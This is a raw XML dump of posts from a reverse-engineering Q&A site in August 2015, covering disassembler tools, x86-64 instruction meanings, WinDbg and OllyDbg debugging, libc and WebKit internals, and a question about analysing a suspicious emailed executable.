  <row Id="10706" PostTypeId="2" ParentId="74" CreationDate="2015-08-24T19:05:16.213" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://radare.org&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; project uses an extensive &lt;a href=&quot;https://github.com/radare/radare2-regressions/tree/master/t.asm&quot; rel=&quot;nofollow&quot;&gt;test-suite&lt;/a&gt; for each of its disassembler engine, along with more specific tests, like &lt;a href=&quot;https://github.com/radare/radare2-regressions/tree/master/t.formats&quot; rel=&quot;nofollow&quot;&gt;formats&lt;/a&gt;, its own &lt;a href=&quot;https://github.com/radare/radare2-regressions/tree/master/t.anal&quot; rel=&quot;nofollow&quot;&gt;analysis capabilities&lt;/a&gt;, …&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-08-24T19:05:16.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10707" PostTypeId="1" CreationDate="2015-08-25T04:46:21.633" Score="0" ViewCount="213" Body="&lt;p&gt;So my uni just had some on break into the email server and send out a load of emails with a suspicious looking executable. I'm on Linux so I downloaded the file and ran the Strings command and saw a call to the Kernel and a hand full of other functions, but all the other strings looked like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[encoded data, 4577 characters]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know what it could be, possibly XOR encrypted? so just wondering do you guys know what it is and how I could go about decoding this?&lt;/p&gt;&#xA;" OwnerUserId="13381" LastActivityDate="2015-08-25T11:40:54.943" Title="How to find out what encryption/encoding has been used" Tags="|x86|executable|encryption|encodings|xor|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10708" PostTypeId="2" ParentId="9533" CreationDate="2015-08-25T08:23:24.233" Score="3" Body="&lt;p&gt;As I think, someone else might have this problem, I have to answer my own question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First. please read the question carefully ( it is long but worst it ).&#xA;Then...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Virtual Box only accepts signed DLLs so you have to sign the &#xA;&lt;em&gt;VBoxKD64.dll&lt;/em&gt; and/or &lt;em&gt;VBoxKD.dll&lt;/em&gt;. it is not easy to find a trust sign so avast guys make a pre-signed virtual-kd available for download &lt;a href=&quot;http://public.avast.com/~hnanicek/VirtualKd.zip&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have another problem. Virtual Box will not load DLLs that are not owned by &lt;em&gt;NT SERVICE\TrustedInstaller&lt;/em&gt; so we have to add Virtual-KD directory to it's kingdom. ( read &lt;a href=&quot;https://technet.microsoft.com/en-us/magazine/ff404240.aspx&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; if you have no ida about what I say )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it is a good description in the avast package named &lt;em&gt;Install.txt&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12323" LastActivityDate="2015-08-25T08:23:24.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10709" PostTypeId="2" ParentId="10707" CreationDate="2015-08-25T11:40:54.943" Score="1" Body="&lt;p&gt;It is almost impossible to provide any meaningful help here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;upload the actual executable, &lt;/li&gt;&#xA;&lt;li&gt;or run it on a virtual machine on your side (log everything using &lt;code&gt;strace&lt;/code&gt;),&lt;/li&gt;&#xA;&lt;li&gt;or upload more of those strings to see if there is a pattern.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-08-25T11:40:54.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10711" PostTypeId="2" ParentId="10703" CreationDate="2015-08-25T12:00:37.287" Score="0" Body="&lt;p&gt;If you are still using a V4 version, it seems to be much more simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.f-x.fr/wikini/wakka.php?wiki=PenetrationV4&quot; rel=&quot;nofollow&quot;&gt;Pénétrez une FreeBoxPerso V4 avec un simple Trombone&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-08-25T12:00:37.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10712" PostTypeId="2" ParentId="10647" CreationDate="2015-08-25T12:04:23.080" Score="0" Body="&lt;p&gt;Without actually knowing more about the system (system vendor), I would suggest to use &lt;code&gt;binwalk&lt;/code&gt; to get the basic file layout. Then follow what other have done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/comments/2a6uyk/reverse_engineering_bios_firmware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Bios Firmware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.richud.com/wiki/Extract_Samsung_BIOS_WPH&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extract Samsung BIOS WPH&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may want to use &lt;a href=&quot;https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;hachoir / hachoir-subfile&lt;/a&gt;, see for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/9357/3041&quot;&gt;https://reverseengineering.stackexchange.com/a/9357/3041&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-08-25T12:04:23.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10714" PostTypeId="2" ParentId="10687" CreationDate="2015-08-25T16:35:29.403" Score="0" Body="&lt;p&gt;I could not figure out why this problem happens. However, I just dumped &quot;free&quot; from within gdb, opened it up in IDA and it works just fine.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-08-25T16:35:29.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10715" PostTypeId="1" CreationDate="2015-08-26T02:18:50.240" Score="0" ViewCount="78" Body="&lt;p&gt;I was looking at the implementation of &quot;free&quot; in my current dlmalloc(both the source and the disassembly). However, I could not find the code section the inserts the FD and BK into free chunks. What is the blob of code responsible for doing that? Where and when are those pointers inserted?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-08-26T02:18:50.240" Title="dlmalloc free pointers" Tags="|linux|c|heap|libc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10716" PostTypeId="1" AcceptedAnswerId="10718" CreationDate="2015-08-26T05:04:57.210" Score="0" ViewCount="81" Body="&lt;p&gt;It is understood that the labels that come in the &lt;code&gt;.text&lt;/code&gt; section of an assembly program are representative of the address of the following instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it the same idea with the symbols we see in the &lt;code&gt;.data&lt;/code&gt; section ? i.e. &lt;em&gt;&quot;The label is representative of the base address of whatever follows&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this apply anywhere in the program ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a NOOB in assembly, learning MIPS as a part of coursework.&lt;/p&gt;&#xA;" OwnerUserId="13394" LastActivityDate="2015-08-26T08:23:57.203" Title=".data symbols equivalent to .text labels?" Tags="|assembly|mips|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10717" PostTypeId="1" CreationDate="2015-08-26T06:58:13.237" Score="1" ViewCount="121" Body="&lt;p&gt;&lt;br&gt;&#xA;Recently, I have viewed webkit source code and there is a function 'cssyyparse' which I cannot find c++ body code.&#xA;Ther is only declaration of function cssyyparse.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// CSSParser.cpp&#xA;extern int cssyyparse(WebCore::CSSParser*);&#xA;...&#xA;cssyyparse(this);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I can't find body of code in whole of WebKit source code.&lt;br&gt;&#xA;How can I find cssyyparse function code? Is there something wrong with me? &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source::&#xA;&lt;a href=&quot;http://trac.webkit.org/browser/trunk/Source/WebCore/css/CSSParser.cpp?format=txt&quot; rel=&quot;nofollow&quot;&gt;http://trac.webkit.org/browser/trunk/Source/WebCore/css/CSSParser.cpp?format=txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13392" LastActivityDate="2015-08-26T08:29:40.983" Title="Where is the function cssyyparse code in webkit project?" Tags="|c++|functions|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-31T22:13:57.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="10718" PostTypeId="2" ParentId="10716" CreationDate="2015-08-26T08:23:57.203" Score="1" Body="&lt;p&gt;You basically stated the answer yourself, a label is representative of a location in your assembly code. The section is irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You misused the term &quot;base address&quot; though)&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2015-08-26T08:23:57.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10719" PostTypeId="2" ParentId="10717" CreationDate="2015-08-26T08:29:40.983" Score="1" Body="&lt;p&gt;WebKit uses &lt;a href=&quot;http://www.gnu.org/software/bison/&quot; rel=&quot;nofollow&quot;&gt;Bison&lt;/a&gt; for parsing. You can find the grammar files here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trac.webkit.org/browser/trunk/Source/WebCore/css/CSSGrammar.y.in&quot; rel=&quot;nofollow&quot;&gt;/Source/WebCore/css/CSSGrammar.y.in&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trac.webkit.org/browser/trunk/Source/WebCore/css/CSSGrammar.y.includes&quot; rel=&quot;nofollow&quot;&gt;/Source/WebCore/css/CSSGrammar.y.includes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The default Bison parsing function name is &lt;code&gt;yyparse&lt;/code&gt;. WebKit uses a preprocessor written in Perl to automate a few things, including changing the function prefix to &lt;code&gt;cssyy&lt;/code&gt;. The preprocessor is in &lt;a href=&quot;http://trac.webkit.org/browser/trunk/Source/WebCore/css/makegrammar.pl&quot; rel=&quot;nofollow&quot;&gt;/Source/WebCore/css/makegrammar.pl&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12484" LastActivityDate="2015-08-26T08:29:40.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10720" PostTypeId="2" ParentId="10647" CreationDate="2015-08-26T13:33:53.093" Score="2" Body="&lt;p&gt;What vendor do you have? If it is UEFI-compatible firmware, you can use &lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot; rel=&quot;nofollow&quot;&gt;UEFITool&lt;/a&gt; to unpack it.&#xA;And use the &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; tool to disassemble the code.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2015-08-26T13:33:53.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10721" PostTypeId="1" CreationDate="2015-08-26T16:47:10.517" Score="3" ViewCount="545" Body="&lt;p&gt;In the case of static function discovery based on disassembled code, IDA is the best tool I know. What open source tools or frameworks are also able to perform function detection/analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know radare2 does have some code for that, but it isn't similar to IDA's detection. The architecture is mainly x86/x86_64, but also ARM. &lt;/p&gt;&#xA;" OwnerUserId="13398" LastActivityDate="2015-11-30T10:21:45.467" Title="Tools for static function discovery" Tags="|disassembly|x86|static-analysis|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10722" PostTypeId="1" AcceptedAnswerId="10724" CreationDate="2015-08-26T17:23:45.807" Score="1" ViewCount="3863" Body="&lt;p&gt;While reversing a C++ program compiled with g++, I've seen a _ZNSs4_Rep20_S_empty_rep_storageE being used. Running it through c++filt shows that before mangling it's a: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;::_Rep::_S_empty_rep_storage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what is this _S_empty_rep_storage used for? I included an assembly snippet below where it's used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, cs:_ZNSs4_Rep20_S_empty_rep_storageE_ptr&#xA;...&#xA;add     rax, 18h&#xA;...&#xA;mov     [rsp+328h+var_308], rax&#xA;mov     [rsp+328h+var_2F8], rax&#xA;mov     [rsp+328h+var_2E8], rax&#xA;...&#xA;lea     r14, [rsp+328h+var_308]&#xA;lea     rsi, [rsp+328h+var_2D8] ; std::string *&#xA;mov     rdi, r14        ; this&#xA;call    __ZNSs4swapERSs ; std::string::swap(std::string &amp;amp;)&#xA;lea     rdi, [rsp+328h+var_2D8] ; this&#xA;lea     r13, [rsp+328h+var_2F8]&#xA;lea     r12, [rsp+328h+var_2E8]&#xA;call    __ZNSsD1Ev      ; std::string::~string()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is: What's the purpose of _S_empty_rep_storage here? Also why are var_308, var_2f8 and var_2e8 lea'd into r12-14? These registers are not used later on.&lt;/p&gt;&#xA;" OwnerUserId="13402" LastActivityDate="2015-08-26T20:20:27.990" Title="What is _S_empty_rep_storage used for in this code?" Tags="|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10724" PostTypeId="2" ParentId="10722" CreationDate="2015-08-26T18:56:04.287" Score="2" Body="&lt;p&gt;Check the comments at the beginning of libstdc++'s &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-4.8.1/libstdc++/api/a01053_source.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;basic_string.h&lt;/code&gt;&lt;/a&gt; to see how GCC's &lt;code&gt;std::string&lt;/code&gt; works.Basically, &lt;code&gt;_S_empty_rep_storage&lt;/code&gt; is a pre-initialized (in fact, zeroed out) representation of an empty string, used to initialize the string in a default constructor. So &lt;code&gt;var_308&lt;/code&gt;, &lt;code&gt;var_2F8&lt;/code&gt; and &lt;code&gt;var_2E8&lt;/code&gt; are three std::string objects, initialized to an empty string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for r12-r14, they seem to be used as temporary variables. We can at leas see that &lt;code&gt;r14&lt;/code&gt; is used to initialize &lt;code&gt;rdi&lt;/code&gt; - the &lt;code&gt;this&lt;/code&gt; pointer for the &lt;code&gt;std::string::swap()&lt;/code&gt; call, so presumably &lt;code&gt;r12&lt;/code&gt; and &lt;code&gt;r13&lt;/code&gt; are also used later.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2015-08-26T20:20:27.990" LastActivityDate="2015-08-26T20:20:27.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10725" PostTypeId="2" ParentId="10721" CreationDate="2015-08-27T00:29:39.443" Score="1" Body="&lt;p&gt;There are several free disassemblers availables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://radare.org&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt;, which is also a framework. If you don't like its internal analysis capabilities, you can always use its shell to conduct your analysis by hand with it; it's released under LGPL, and written in C.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://x64dbg.com/&quot; rel=&quot;nofollow&quot;&gt;x64dbg&lt;/a&gt;, the spiritual successor of &lt;a href=&quot;http://ww.ollydbg.de&quot; rel=&quot;nofollow&quot;&gt;ollydbg&lt;/a&gt;, but as a free software; it's Windows only, and written in C++/Qt.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hte.sourceforge.net/index.html&quot; rel=&quot;nofollow&quot;&gt;HTE&lt;/a&gt;, which seems to be a bit like radare2.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13390" LastEditorUserId="1485" LastEditDate="2015-08-27T17:26:16.847" LastActivityDate="2015-08-27T17:26:16.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10727" PostTypeId="2" ParentId="4762" CreationDate="2015-08-27T13:50:33.647" Score="1" Body="&lt;p&gt;If you have the full source available. Here's what I propose (and currently do): &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Compile the binary&#xA;with debugging information and disable optimisations. Also make sure&#xA;to disable stripping the binary if you are compiling some&#xA;distributed code. This would mean: Compile with the following flags&#xA;with gcc(depending on the level of debugging information you need, I usually compile with ggdb/ggdb3):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-g -O0 OR -ggdb -O0 OR -ggdb3 -O0 &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, create a dump of the binary with objdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -dS myBinary &amp;gt; dump&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can just get the instruction address, search for it in the&#xA;dump and match it to source code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6976" LastActivityDate="2015-08-27T13:50:33.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10728" PostTypeId="1" CreationDate="2015-08-27T17:39:19.620" Score="3" ViewCount="6913" Body="&lt;p&gt;What does the code below exactly mean?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rdx,qword ptr ss:[rbp+50]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have difficulty in &lt;code&gt;rbp+50&lt;/code&gt;. Is &lt;code&gt;rbp&lt;/code&gt; the base pointer in the 64 bit CPU architecture? What is the base pointer refering to? how can I find out the value at &lt;code&gt;rbp+50&lt;/code&gt;? what does &lt;code&gt;ss&lt;/code&gt; mean? what does &lt;code&gt;qword&lt;/code&gt; mean? I totally confused with these terms.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastEditorUserId="11621" LastEditDate="2015-08-27T17:45:31.873" LastActivityDate="2015-08-27T20:52:00.403" Title="What does lea rdx,qword ptr ss:[rbp+50] mean?" Tags="|disassembly|x86-64|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10729" PostTypeId="1" AcceptedAnswerId="10731" CreationDate="2015-08-27T20:43:18.017" Score="1" ViewCount="1011" Body="&lt;p&gt;I set the following breakpoint: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp MSPTLS!LsCreateLine 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program crashes before the break point is hit 100 times. When I do &lt;code&gt;bl&lt;/code&gt; after the crash, I get the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 e 5dca4b62     0072 (0100)  0:**** MSPTLS!LsCreateLine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am assuming from this information that the break point was hit 72 times before the crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I do &lt;code&gt;bp MSPTLS!LsCreateLine 80&lt;/code&gt; I am able to hit the breakpoint before the crash telling me that the break point was hit more than 72 times before the crash. Does this 72 not indicate how many times the break point was hit?&lt;/p&gt;&#xA;" OwnerUserId="12466" LastActivityDate="2015-08-27T22:02:14.670" Title="Windbg breakpoint counter" Tags="|windbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10730" PostTypeId="2" ParentId="10728" CreationDate="2015-08-27T20:52:00.403" Score="10" Body="&lt;p&gt;The code means &lt;code&gt;rdx = rbp + 50&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the explanation, we'll go bottom up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;qword&lt;/code&gt; is 8-bytes (64 bits). It stands for quad-word, same as &lt;code&gt;dword&lt;/code&gt; stands for double-word. It is the size of every &lt;code&gt;rXX&lt;/code&gt; register. The &lt;code&gt;qword ptr&lt;/code&gt; means that we are accessing a &lt;code&gt;qword&lt;/code&gt; sized memory block (as oppised to a &lt;code&gt;byte&lt;/code&gt;, &lt;code&gt;word&lt;/code&gt; or &lt;code&gt;dword&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ss&lt;/code&gt; stands for stack-segment. However, in non 16-bit systems all segments are usually mapped to 0. It is probably shown in the code as an artifact of the dis-assembly as the &lt;code&gt;rbp&lt;/code&gt; register is used to point into the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;lea&lt;/code&gt; commands mean load-effective-address. It does not take the value at the given address, but rather the address itself. So in pseudo code we can rewrite the entire thing as &lt;code&gt;rdx = rbp + 50&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-08-27T20:52:00.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10731" PostTypeId="2" ParentId="10729" CreationDate="2015-08-27T22:02:14.670" Score="6" Body="&lt;p&gt;&lt;code&gt;0072 (0100)&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0072&lt;/code&gt; - this is the number of passes &lt;em&gt;remaining&lt;/em&gt; before the breakpoint is hit.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(0100)&lt;/code&gt; - this is the original limit passed in.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that these are hexidecimal values, so the crash was hit on the 142nd iteration (0x100-0x72).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x80 is smaller than 142 (0x8E), so it expected that you would hit the breakpoint before the crash with that setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to documentation: &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff538891.aspx&quot;&gt;&lt;code&gt;bl&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-08-27T22:02:14.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10732" PostTypeId="2" ParentId="10721" CreationDate="2015-08-28T14:01:35.853" Score="0" Body="&lt;p&gt;From your question is not clear if you mean &lt;em&gt;known&lt;/em&gt; functions or arbitrary ones (a way more complicated problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first case you could take a look at Sybil (&lt;a href=&quot;https://github.com/cea-sec/Sibyl&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cea-sec/Sibyl&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-08-28T14:01:35.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10733" PostTypeId="1" AcceptedAnswerId="10817" CreationDate="2015-08-28T14:19:15.210" Score="1" ViewCount="772" Body="&lt;p&gt;I'm reverse engineering the Final Fantasy XIV 1.0 protocol to bring back the now dead game (not ARR). I'm trying to find where an error message handler is called (specifically &quot;This character name is already in use&quot;), and work backwards to send the correct packet. Using the timeout error message, I found the routine that causes this message to load, but the routine is never called as a constant, rather loaded into EDX and then called. A error code is passed in which defines what message to show, as well as what action to take (for example, putting in the &quot;Bad chara name&quot; code will actually cause the UI to switch to the &quot;enter name&quot; screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ollydbg and normally I'd just use the &quot;find references to command&quot; option, but since this routine is loaded then called, that won't work. Any ideas how to find where this routine is called? Then I can work backwards to find what is read from the packet to go to that code.&lt;/p&gt;&#xA;" OwnerUserId="13412" LastActivityDate="2016-01-06T09:03:23.890" Title="Find where a routine pointer is loaded and called" Tags="|ollydbg|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10734" PostTypeId="1" AcceptedAnswerId="10735" CreationDate="2015-08-28T16:48:41.833" Score="1" ViewCount="252" Body="&lt;pre&gt;&lt;code&gt;000007FEEC55CF58| 48 8D 0D F1 A7 0B 00 | lea rcx,qword ptr ds:[7FEEC617750] | ;7FEEC617750:&quot;500117367&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the above line in the ollyDBG which has the value of &lt;code&gt;&quot;500117367&quot;&lt;/code&gt; according to the comment made by the ollyDBG itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't know how to access the dereferenced pointer value. When I press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; and go to the &lt;code&gt;7FEEC617750&lt;/code&gt; memory address, I get an expression like &lt;code&gt;push rbx&lt;/code&gt; which is not the value shown in the ollyDBG. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty confused by how I should use the offsets and stack in ollyDBG. &lt;em&gt;I simply want to know how to access the value of pointer shown in the comment of ollyDBG &lt;code&gt;[7FEEC617750]&lt;/code&gt; and also find out what accesses and writes to &lt;code&gt;[7FEEC617750]&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S&lt;/strong&gt; Thanks to AcidShout for pinpointing, indeed, the debugger is &lt;code&gt;x64_dbg&lt;/code&gt; the cousin of ollyDBG :)&lt;/p&gt;&#xA;" OwnerUserId="11621" LastEditorUserId="53" LastEditDate="2015-08-28T19:56:26.417" LastActivityDate="2015-08-28T19:56:26.417" Title="Failure at finding the value of the dereferenced pointer" Tags="|disassembly|address|assembly|pointer|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10735" PostTypeId="2" ParentId="10734" CreationDate="2015-08-28T18:44:02.127" Score="6" Body="&lt;p&gt;Right-click on the disassembly line above in OllyDbg and choose &lt;code&gt;Follow in Dump&lt;/code&gt;. That will tell OllyDbg to navigate to address &lt;code&gt;7FEEC617750&lt;/code&gt; in the dump pane and allow you to see the memory at that address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FSTPZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSTPZ.png&quot; alt=&quot;Follow in Dump&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see what accesses and writes to the memory at that address, right-click in the dump pane on the first byte of memory at that address and set a hardware breakpoint on-access:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DJl27.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJl27.png&quot; alt=&quot;Hardware Breakpoint&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, AcidShout's two comments above in response to your question are spot-on!&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-08-28T19:33:38.680" LastActivityDate="2015-08-28T19:33:38.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10736" PostTypeId="1" CreationDate="2015-08-28T20:17:25.127" Score="5" ViewCount="12871" Body="&lt;p&gt;I have got a &lt;code&gt;custom.dll&lt;/code&gt; which is utilized in a larger application. The application executable imports this dll to use its functionality. But this functionality is not used through out the life cycle of the application but only when a specific event occurs. for instance when I input something in the application console a new thread would be created and some of the functionality of the given dll would be used. Now the problem is I am unable to find out what is exactly going on in the dll without having that application executable. I only have the dll file. I want to reverse it. Just like debugging an exe file and go through the registers step by step to find out what is what and why something happens, simply perform a dynamic analysis on the dll instead of the static one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To be more specific&lt;/strong&gt;, the dll file creates a specific string, I want to know how that string is created and where it is stored for console usage.&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2015-08-28T21:01:59.410" Title="How to reverse a dll and call its functions?" Tags="|disassembly|debuggers|dll|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
